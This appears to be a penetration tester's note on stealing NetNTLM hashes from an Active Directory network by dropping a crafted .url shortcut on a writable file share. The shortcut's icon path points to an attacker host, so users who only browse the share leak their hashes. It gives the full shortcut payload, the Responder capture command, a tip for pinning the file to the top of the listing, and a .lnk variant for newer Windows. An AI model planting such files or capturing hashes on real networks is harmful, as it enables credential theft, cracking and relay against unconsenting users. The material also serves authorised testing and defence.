Imagine a scenario where we have compromised a domain user and this user has any sort of file share access. We can utilize that access to capture more hashes via responder, go back and try to crack those hashes, get the passwords and possibly get a different user or maybe a user with more access. This require a compromised user account or potentially an open file share.
This is an internet shortcut:
[InternetShortcut]
URL=blah
WorkingDirectory=blah
IconFile=\\\\x.x.x.x\\%USERNAME%.icon
IconIndex=1
These options doesn't really matter:
URL=blah
WorkingDirectory=blah
the only thing that truly matters is this IP address that is going to be our IP attacker machine.
We're gonna save this file first on the desktop:
The @ or the ~ put the file on top. So when a user come on hackme share and navigate he will see the file always on top:
Now in attacker machine run the responder:
sudo responder -I eth0 -v
And just by navigating to the network share WITHOUT click on it we will obtain the SMB hash due to unwanted loading of icon from attacker machine on which run HTTP server and SMB server trough responder:
<aside>
⚠️ It would appear as scf and url file extensions are not working on newer versions of Windows. When I tested with either one of them, I am not getting hashes simply by browsing to the share - I actually have to interact with the file. However, if I use a .lnk file, I get hashes every single time.
</aside>
This tool allow to modify a LNK Windows shortcut (.LNK file) with specially crafted icon attribute. The icon attribute points to an arbitrary UNC path - ideally the attacker's machine. Afterwards, anyone who visits the shared folder (with the .LNK file inside) will automatically try to authenticate against the specified SERVER (to load the icon) and send NetNTLM hash. The attacker can then capture the NetNTLM hash (e.g. by using Responder or the auxiliary/server/capture/smb Metasploit module) and crack/relay it.